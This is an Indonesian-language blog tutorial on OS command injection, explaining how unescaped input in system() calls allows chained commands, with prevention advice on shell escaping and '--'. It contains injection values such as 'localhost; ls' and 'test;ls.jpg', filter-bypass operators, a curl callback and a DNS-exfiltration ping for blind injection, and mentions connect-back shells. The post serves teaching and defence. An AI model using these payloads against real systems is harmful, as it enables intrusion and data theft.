Mengenal command Injection Attack

Dalam tulisan ini saya akan membas attack “command injection” atau dikenal juga sebagi “OS command injection”, di mana attacker bisa menyisipkan perintah untuk dieksekusi. Seperti saya contohkan dalam beberapa artikel saya di blog ini dalam kategori CLI, banyak program CLI yang bisa melakukan hal kompleks dengan sangat mudah. Kadang seseorang akan memanggil program CLI eksternal daripada harus coding sendiri fungsionalitas yang rumit. Contohnya: untuk resize satu file gambar dengan imagemagick bisa dilakukan dengan satu perintah:

convert -resize 50% input.jpg output.jpg

Dan ini bisa dipanggil dari program lain, misalnya PHP dengan:

system("convert -resize 50% input.jpg output.jpg")

Atau Python dengan

import os
os.system("convert -resize 50% input.jpg output.jpg")

Atau bahasa-bahasa lain dengan cara serupa. Seperti halnya SQL injection, jika kita tidak melakukan escaping (dalam kasus ini namanya “shell escaping“) maka akibatnya bisa fatal. Contoh sederhana lain yang ada pada banyak router adalah penggunaan perintah ping via web interface. Di balik layar, yang dilakukan adalah:

system("ping -c 3 $target")

Jika kita bisa memasukkan apapun dalam $target, tanpa verifikasi, maka kita bisa memasukkan: localhost; ls, hasilnya: command ping localhost dieksekusi, lalu ls dieksekusi. Dalam kasus ini biasanya output ls akan muncul di layar.

Contoh command injection pada router yang saya miliki

Command injection ini bisa juga pada nama file. Jadi di contoh sebelumnya mengenai resize file gambar:

system("convert -resize 50% $input tmp.jpg")

Jika kita bisa memberikan nama file apa saja, maka injection juga bisa terjadi (misalnya nama filenya "test;ls.jpg"). Dalam kasus seperti ini kita tidak bisa melihat output perintah (blind injection). Ada trik tertentu untuk eksfiltrasi output dalam kasus blind injection.

Perlu dicatat bahwa filtering beberapa karakter saja tidak cukup. Contohnya jika semicolon (;) difilter, maka masih ada beberapa cara lain untuk eksekusi perintah, misalnya:

  • memakai "|| perintah" (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai "&& perintah" (jika perintah pertama berhasil, eksekusi perintah kedua)
  • memakai "$(perintah)" atau "`perintah`" (memakai backtick/kutip terbalik) untuk eksekusi sub command

Ada berbagai trik yang berhubungan dengan command injection, tapi pada dasarnya sama: kita perlu memahami penggunaan shell. Contoh kasus lain bisa dibaca di posting saya yang berbahasa inggris mengenai eksploitasi Firewall PAN OS.

Blind Command Injection

Jika output sebuah perintah tidak bisa dilihat, maka ada beberapa hal yang bisa dicoba. Pertama adalah konfirmasi bahwa memang ada bug dengan melakukan koneksi keluar menggunakan wget/curl. Misalnya kita mengeksekusi:

curl example.com/mytest.php

Jika kita liat ada hit terhadap URL tersebut di file log, maka kita tahu bahwa command berhasil dijalankan. Jika berhasil, maka kita bisa mendownload dan menjalankan apa saja, termasuk juga connect back shell yang akan melakukan koneksi ke host kita.

Masalah dengan pendekatan di atas adalah adalah: kadang di beberapa host koneksi keluar tidak diijinkan. Alternatif lain adalah dengan DNS exfiltration

ping namahostrahasia.example.com

Dalam kasus ini kita harus mensetup tool untuk memberikan notifikasi jika host tersebut diresolve (ada permintaan pemetaan nama host ke IP). Selain itu diperlukan kreativitas untuk mengubah output menjadi dns request.

Pencegahan

Setiap command harus diescape supaya tidak dinterpretasikan oleh shell. Misalnya ; menjadi \;. Fungsi untuk escape ini bisa dicek di masing-masing bahasa yang dipakai.

Beberapa command juga memiliki opsi yang berbahaya yang bisa diaktifkan dengan -opsi atau --opsi. Hal ini perlu ditangani khusus, atau untuk tool yang berbasis GNU bisa memakai "--" untuk menghentikan parsing option. Contoh kasus seperti ini:

rm $namafile

Jika nama file adalah "-rf data", maka seluruh data akan dihapus. Tapi jika kita memakai:

rm -- $namafile

Maka "-rf" tidak dianggap sebagai option, tapi sebagai nama file.

Penutup

Demikian tulisan singkat mengenai command injection. Banyak detail yang tidak saya bahas di sini karena tergantung pada detail targetnya. Pada SQL injection, berbagai command yang kita berikan tergantung pada DBMS yang kita pakai dan hak akses DBMS tersebut. Pada command injection ini juga bergantung pada beberapa hal:

  • Sistem operasi (perintah Windows berbeda dengan Linux dan sering kali banyak hal yang berbeda dengan FreeBSD atau OS lain)
  • perintah yang tersedia (jika eksploitasi dilakukan pada router, perintah yang tersedia biasanya dari Busybox dan bisa terbatas tergantung opsi compile busybox-nya)
  • Input filtering. Kadang ada filtering yang tidak tuntas, dan kadang teknik yang berbeda perlu dipakai untuk bypass filtering

Tinggalkan Balasan

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.